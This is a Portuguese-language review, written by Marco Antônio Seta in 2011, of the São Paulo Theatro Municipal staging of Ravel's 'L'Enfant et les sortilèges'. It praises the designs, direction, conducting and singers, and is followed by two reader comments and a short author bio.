Crítica

A estreia de “L’Enfant et les sortilèges”, de Ravel

A sofisticada fantasia lírica “L’Enfant et les sortilèges”, de Maurice Ravel (1875-1937) revela sobretudo as obsessões do compositor para com os prazeres e perigos do mundo da infância.

A presente encenação desta fantasia no Theatro Municipal de São Paulo, estreada em 12 de Outubro, foi um sucesso de público, considerando-se os figurinos bem cuidados dos personagens atuantes, bem como os cenários e a técnica de teatro negro, bonecos e desenhos para a animação, tudo de autoria de Fernando Anhê, cuja criatividade e senso artístico revelam-se de um nível muito apurado, com grande equilíbrio visual e de sensibilidade contextual.

O artista plástico, que dirige também a Cia. Imago de animação, deixou patente, mais uma vez, a sua capacidade de entreter o público não só infantil, como o juvenil e adulto, com uma plateia composta de muitas crianças e jovens aplaudindo-o entre os demais.

Contribuíram para esse êxito o iluminador Wagner Pinto, Simone Batata (visagista) e a direção cênica de Lívia Sabag, que orientou com inteligentes jogos cênicos os cantores, figurantes e bailarinos. A coreografia é assinada por Luiz Fernando Bongiovanni que também orientou os integrantes do Coral Paulistano em sua intervenção como pastores, depois como bichos e árvores. Vozes dos coros suaves, sem aquelas intervenções gritadas e de exageros  histriônicos bastante comuns em outras óperas do repertório italiano. Bravos a todos os seus dirigentes (Thiago Pinheiro, Regina Kinjo, Alcione Ribeiro, as duas últimas responsáveis pelo coro infanto-juvenil da Escola Municipal de Música.

Reger esta obra é tarefa de difícil empreitada. Quando de sua estreia no Teatro do Cassino na Opera de Monte Carlo, a 21 de março de 1925, estava à frente do espetáculo o jovem maestro italiano Victor de Sabata, que se tornaria uma lenda dos grandes teatros europeus (regeu Callas, Gobbi, E. Schwarzkopf, Di Stefano, Cesare Siepi entre outros célebres cantores). Com apenas 33 anos, regeu a estreia desta peça lírica despertando muitas críticas e controvérsias para a época. Sucederam-se apresentações em Paris, Viena, Praga, Madri, Leipzig,  Bruxelas, Zurich, chegando a San Francisco em 1930.

A riqueza de inspiração se evidencia na continua alternância entre o terno e o irônico em abundante sucessão de cenas, autênticos “sketches”, caracterizados por uma precisão detalhista de adoração por pequenos autômatos e miniaturas resguardadas na sua residência, e particularmente sobre o piano do compositor, acabando, por assim dizer, que um de seus personagens, o pequeno rouxinol cantor, originou-se entre esses bibelôs animados do mestre compositor francês.

Regeu-a,  em primeira audição em São Paulo, o maestro Jamil Maluf, com a sua já conhecida sensibilidade musical a serviço da arte em nossa cidade. Equilibrou a ressonância orquestral, esta bem trabalhada em todos os seus naipes, constituída de rica instrumentação, abrindo oportunidades para que os cantores não fossem encobertos pela massa orquestral.

Entre os cantores solistas, salientaram-se o contralto Luciana Bueno, como a mãe do menino, depois a xícara chinesa, e por fim uma insinuante libélula; o meio soprano Luísa Francesconi, uma linda gata, antes a poltrona, depois o esquilo e um pastor; e a própria Denise de Freitas como o menino protagônico. Caroline de Comi (o fogo, a princesa e o rouxinol) é um soprano ligeiro de pequeno volume, mas muito musical ; Gabriella Pace como morcego, a coruja e pastorinha, saiu-se a contento. Vinícius Atique demonstrou uma bonita voz de barítono, bem orientada e bem colocada (na máscara), intérprete do relógio e do gato em muito boas atuações.  Paulo Queiroz como o bule,  depois, o velhote e a rã,  pôs à prova seus dotes histriônicos em breves passagens que lhe foram atribuídas por Ravel.

Escrito por Marco Antônio Seta em 13/10/2011.

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2 Comments

  1. Marco Antônio, parabéns por seus cuidadosos e dedicados comentários que sempre nos esclarecem e suscitam reflexões, passadas as emoções da vivência de um espetáculo tão bonito. Sim, você nos oferece boas percepções, a delicada composição orquestral tão bem regida, deste bonito libretto, nos permitiu o desfrute dos belos cantos e, a propósito, o coral colaborou para colocar no ápice o final da comovente opereta envolto de bonitos tons de verdes e azuis bem iluminando o habitat dos bichinhos e plantas e suas lindas e breves coreografias…
    Abraços de Paula.

  2. Este foi, Paula um dos mais belos espetáculos do ano corrente em nosso Theatro Municipal. Quem viu ao vivo, levou vantagens, quem não viu, ficou no prejuízo! Quem sabe essa bela montagem possa viajar por esse Brasil mostrando o que é um espetáculo de qualidade e bom gosto de quem o criou!… Obrigado por suas palavras de endosso ao belo espetáculo de Ravel (“O menino e os sortilégios”). Marco Antonio Seta.

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Marco Antônio Seta
Diplomado em Educação Musical, Artes Visuais e Educação Artística. Publicou artigos e críticas de óperas em vários veículos de SP ao longo de três décadas.